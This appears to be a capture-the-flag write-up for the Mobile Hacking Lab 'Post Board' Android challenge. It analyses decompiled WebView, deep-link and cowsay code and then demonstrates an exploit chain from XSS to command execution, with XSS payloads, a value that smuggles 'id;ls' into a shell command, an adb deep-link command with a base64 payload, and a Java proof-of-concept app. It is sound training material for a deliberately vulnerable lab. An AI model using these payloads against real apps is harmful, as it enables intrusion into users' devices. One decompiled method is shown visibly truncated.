Post Board - Mobile Hacking Lab
Introduction
Welcome to the Android Insecure WebView Challenge! This challenge is designed to delve into the complexities of Android’s WebView component, exploiting a Cross-Site Scripting (XSS) vulnerability to achieve Remote Code Execution (RCE). It’s an immersive opportunity for participants to engage with Android application security, particularly focusing on WebView security issues.
Objective
Exploit an XSS vulnerability in a WebView component to achieve RCE in an Android application.
If you attempt to write markdown text, it will be rendered accordingly
1
2
# H1 text
### H3 text
XSS
1
<img src=x onerror=alert("XSS")>
Analyzing the application using JADX
From: AndroidManifest.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<activity
android:name="com.mobilehackinglab.postboard.MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="postboard"
android:host="postmessage"/>
</intent-filter>
</activity>
Android manifest snippet defines MainActivity
as an exported activity with two intent filters. The first filter designates it as the main entry point, allowing it to be launched from the home screen or app drawer using android.intent.action.MAIN
and android.intent.category.LAUNCHER
. The second filter enables deep linking, allowing other apps or browsers to open the activity using a custom URL scheme (postboard://postmessage
). This is achieved with android.intent.action.VIEW
, along with android.intent.category.DEFAULT
and android.intent.category.BROWSABLE
, which make the activity accessible via external links. However, since android:exported="true"
, any app can start this activity
From: com.mobilehackinglab.postboard.MainActivity
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
private final void setupWebView(WebView webView) {
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebAppChromeClient());
webView.addJavascriptInterface(new WebAppInterface(), "WebAppInterface");
webView.loadUrl("file:///android_asset/index.html");
}
private final void handleIntent() {
Intent intent = getIntent();
String action = intent.getAction();
Uri data = intent.getData();
if (!Intrinsics.areEqual("android.intent.action.VIEW", action) || data == null || !Intrinsics.areEqual(data.getScheme(), "postboard") || !Intrinsics.areEqual(data.getHost(), "postmessage")) {
return;
}
ActivityMainBinding activityMainBinding = null;
try {
String path = data.getPath();
byte[] decode = Base64.decode(path != null ? StringsKt.drop(path, 1) : null, 8);
Intrinsics.checkNotNullExpressionValue(decode, "decode(...)");
String message = StringsKt.replace$default(new String(decode, Charsets.UTF_8), "'", "\\'", false, 4, (Object) null);
ActivityMainBinding activityMainBinding2 = this.binding;
if (activityMainBinding2 == null) {
Intrinsics.throwUninitializedPropertyAccessException("binding");
activityMainBinding2 = null;
}
activityMainBinding2.webView.loadUrl("javascript:WebAppInterface.postMarkdownMessage('" + message + "')");
} catch (Exception e) {
ActivityMainBinding activityMainBinding3 = this.binding;
if (activityMainBinding3 == null) {
Intrinsics.throwUninitializedPropertyAccessException("binding");
} else {
activityMainBinding = activityMainBinding3;
}
activityMainBinding.webView.loadUrl("javascript:WebAppInterface.postCowsayMessage('" + e.getMessage() + "')");
}
}
The setupWebView
method initializes a WebView
in an Android application, enabling JavaScript execution and setting up important components for handling web content and interactions. It performs the following tasks:
- Enable JavaScript:
webView.getSettings().setJavaScriptEnabled(true);
allows JavaScript execution, which is necessary for interactive web pages but can pose security risks if not handled properly. Enabling JavaScript can expose the app to cross-site scripting (XSS) attacks, especially if untrusted content is loaded. - Set WebChromeClient:
webView.setWebChromeClient(new WebAppChromeClient());
helps manage JavaScript dialogs, progress updates, and other advanced web interactions. - Add a JavaScript Interface:
webView.addJavascriptInterface(new WebAppInterface(), "WebAppInterface");
allows JavaScript running in the WebView to call native Android methods via theWebAppInterface
class. TheaddJavascriptInterface
method can allow malicious JavaScript to execute native code if the interface exposes sensitive methods. - Load Local HTML File:
webView.loadUrl("file:///android_asset/index.html");
loads an HTML file from the app’s assets folder, meaning the web content is bundled with the app and does not require an internet connection.
The handleIntent
method processes incoming intents to determine whether they match a specific scheme and host before proceeding with any action. Here’s how it works:
- Retrieve the Intent:
- The method gets the
Intent
object usinggetIntent()
, which represents the data passed when the activity was launched.
- The method gets the
- Extract Action and Data:
- It extracts the intent action using
intent.getAction()
and retrieves any associated data (URI) usingintent.getData()
.
- It extracts the intent action using
- Validate the Intent:
- The method checks if:
- The action is
"android.intent.action.VIEW"
, which is typically used for deep linking. - The
data
(URI) is not null. - The scheme of the URI is
"postboard"
. - The host of the URI is
"postmessage"
.
- The action is
- The method checks if:
Extract the Path from the URI
- The
data.getPath()
method retrieves the path segment of the URI. StringsKt.drop(path, 1)
removes the leading/
from the path if it’s notnull
.
Decode the Base64-Encoded String
- The path (after removing the
/
) is Base64-decoded usingBase64.decode(...)
with the flag8
(Base64.URL_SAFE
mode). Intrinsics.checkNotNullExpressionValue(decode, "decode(...)")
ensures that the decoding result is notnull
.
Convert the Decoded Data to a String
- A new
String(decode, Charsets.UTF_8)
is created from the decoded byte array. - Any single quotes (
'
) in the decoded message are escaped to prevent JavaScript injection issues usingStringsKt.replace$default(...)
.
Inject the Decoded Message into JavaScript
The processed message is injected into the WebView using:
1
activityMainBinding2.webView.loadUrl("javascript:WebAppInterface.postMarkdownMessage('" + message + "')");
This calls the JavaScript function
postMarkdownMessage(...)
with the decoded message.
From: com.mobilehackinglab.postboard.WebAppInterface
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@JavascriptInterface
public final void postMarkdownMessage(String markdownMessage) {
Intrinsics.checkNotNullParameter(markdownMessage, "markdownMessage");
String html = new Regex("```(.*?)```", RegexOption.DOT_MATCHES_ALL).replace(markdownMessage, "<pre><code>$1</code></pre>");
String html2 = new Regex("`([^`]+)`").replace(html, "<code>$1</code>");
String html3 = new Regex("!\\[(.*?)\\]\\((.*?)\\)").replace(html2, "<img src='$2' alt='$1'/>");
String html4 = new Regex("###### (.*)").replace(html3, "<h6>$1</h6>");
String html5 = new Regex("##### (.*)").replace(html4, "<h5>$1</h5>");
String html6 = new Regex("#### (.*)").replace(html5, "<h4>$1</h4>");
String html7 = new Regex("### (.*)").replace(html6, "<h3>$1</h3>");
String html8 = new Regex("## (.*)").replace(html7, "<h2>$1</h2>");
String html9 = new Regex("# (.*)").replace(html8, "<h1>$1</h1>");
});
}
@JavascriptInterface
public final void postCowsayMessage(String cowsayMessage) {
Intrinsics.checkNotNullParameter(cowsayMessage, "cowsayMessage");
String asciiArt = CowsayUtil.INSTANCE.runCowsay(cowsayMessage);
String html = StringsKt.replace$default(StringsKt.replace$default(StringsKt.replace$default(StringsKt.replace$default(StringsKt.replace$default(asciiArt, "&", "&", false, 4, (Object) null), "<", "<", false, 4, (Object) null), ">", ">", false, 4, (Object) null), "\"", """, false, 4, (Object) null), "'", "'", false, 4, (Object) null);
this.cache.addMessage("<pre>" + StringsKt.replace$default(html, "\n", "<br>", false, 4, (Object) null) + "</pre>");
}
}
This method, postMarkdownMessage
, is a JavaScript interface function that converts Markdown syntax into HTML for rendering inside a WebView. It’s annotated with @JavascriptInterface
, meaning it can be called from JavaScript running in the WebView.
This postCowsayMessage
method is aslo a JavaScript interface function that generates ASCII art using the Cowsay utility and formats it for display in a WebView.
From: defpackage.CowsayUtil
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public final class CowsayUtil {
public final String runCowsay(String message) {
Intrinsics.checkNotNullParameter(message, "message");
try {
String[] command = {"/bin/sh", "-c", CowsayUtil.scriptPath + ' ' + message};
Process process = Runtime.getRuntime().exec(command);
StringBuilder output = new StringBuilder();
InputStream inputStream = process.getInputStream();
Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)");
Reader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8);
BufferedReader bufferedReader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStreamReader : new BufferedReader(inputStreamReader, 8192);
try {
BufferedReader reader = bufferedReader;
while (true) {
String it = reader.readLine();
if (it == null) {
Unit unit = Unit.INSTANCE;
CloseableKt.closeFinally(bufferedReader, null);
process.waitFor();
String sb = output.toString();
Intrinsics.checkNotNullExpressionValue(sb, "toString(...)");
return sb;
}
output.append(it).append("\n");
}
} finally {
}
} catch (Exception e) {
e.printStackTrace();
return "cowsay: " + e.getMessage();
}
}
}
This method executes a shell command to run the Cowsay script and captures the output.
Runs the Cowsay script by building the command:
1
/bin/sh -c scriptPath message
From: assets/index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Sticky Note Message Board</title>
</head>
<body>
<div class="message-board" id="messageBoard"></div>
<div class="message-input">
<textarea id="message" placeholder="Write your Markdown message here"></textarea>
<div class="button-group">
<button onclick="postMessage()" class="post-message-button">Post Message</button>
<button onclick="clearMessages()" class="clear-button">X</button>
</div>
</div>
<script>
function postMessage() {
var message = document.getElementById('message');
// Call JavaScript interface to post message
window.WebAppInterface.postMarkdownMessage(message.value);
message.value = '';
// Update the message board
updateMessages();
}
function updateMessages() {
var jsonString = window.WebAppInterface.getMessages();
var messages = JSON.parse(jsonString);
var messageBoard = document.getElementById('messageBoard');
messageBoard.innerHTML = ''; // Clear message board
// Add messages as sticky notes to the message board
messages.forEach(function(message) {
var stickyNote = document.createElement('div');
stickyNote.className = 'sticky-note';
stickyNote.innerHTML = message;
messageBoard.appendChild(stickyNote);
});
// Scroll to the bottom of the message board
messageBoard.scrollTop = messageBoard.scrollHeight;
}
function clearMessages() {
var messageBoard = document.getElementById('messageBoard');
messageBoard.innerHTML = ''; // Clear message board
// Call JavaScript interface to clear cache
window.WebAppInterface.clearCache();
}
updateMessages();
</script>
</body>
</html>
From: assets/cowsay.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/bin/sh
# Function to print the top border of the speech bubble
print_top() {
message="$1"
length=$(echo -n "$message" | wc -c)
printf " "
i=0
while [ "$i" -lt "$length" ]; do
printf "_"
i=$((i+1))
done
printf "\n"
}
# Function to print the bottom border of the speech bubble
print_bottom() {
message="$1"
length=$(echo -n "$message" | wc -c)
printf " "
i=0
while [ "$i" -lt "$length" ]; do
printf "-"
i=$((i+1))
done
printf "\n"
}
# Function to print the speech bubble with the message
print_message() {
message="$1"
print_top "$message"
printf "< %s >\n" "$message"
print_bottom "$message"
}
# Function to print the cow
print_cow() {
printf " \\ ^__^\\n"
printf " \\ (oo)\\_______\\n"
printf " (__)\\ )\\/\\n"
printf " ||----w |\\n"
printf " || ||\\n"
}
# Main script execution
main() {
if [ "$#" -lt 1 ]; then
printf "Usage: %s <message>\\n" "$0"
exit 1
fi
# Concatenate all arguments into one argument separated by a space
message="$*"
print_message "$message"
print_cow
}
# Call the main function with all arguments passed to the script
main "$@"
RCE From XSS
methods enumeration
1
<img src=x onerror=alert(Object.keys(WebAppInterface))>
1
<img src=x onerror="WebAppInterface.postCowsayMessage('Hacked;id;ls')">
adb
1
adb shell am start -a android.intent.action.VIEW -c android.intent.category.BROWSABLE -d postboard://postmessage/<base64-Payload>
1
adb shell am start -a android.intent.action.VIEW -c android.intent.category.BROWSABLE -d postboard://postmessage/PGltZyBzcmM9eCBvbmVycm9yPSJXZWJBcHBJbnRlcmZhY2UucG9zdENvd3NheU1lc3NhZ2UoJ3NzcztpZDtscycpIj4=
Android app PoC
1
2
3
4
5
6
7
Intent intent = new Intent();
intent.setAction("android.intent.action.VIEW");
intent.setClassName("com.mobilehackinglab.postboard", "com.mobilehackinglab.postboard.MainActivity");
String message = "<img src=x onerror=\"WebAppInterface.postCowsayMessage('hacked;id;ls')\">";;
String encodedMessage = Base64.getEncoder().encodeToString(message.getBytes());;
intent.setData(Uri.parse("postboard://postmessage/"+encodedMessage));
startActivity(intent);
- run the app
- click Post Message Button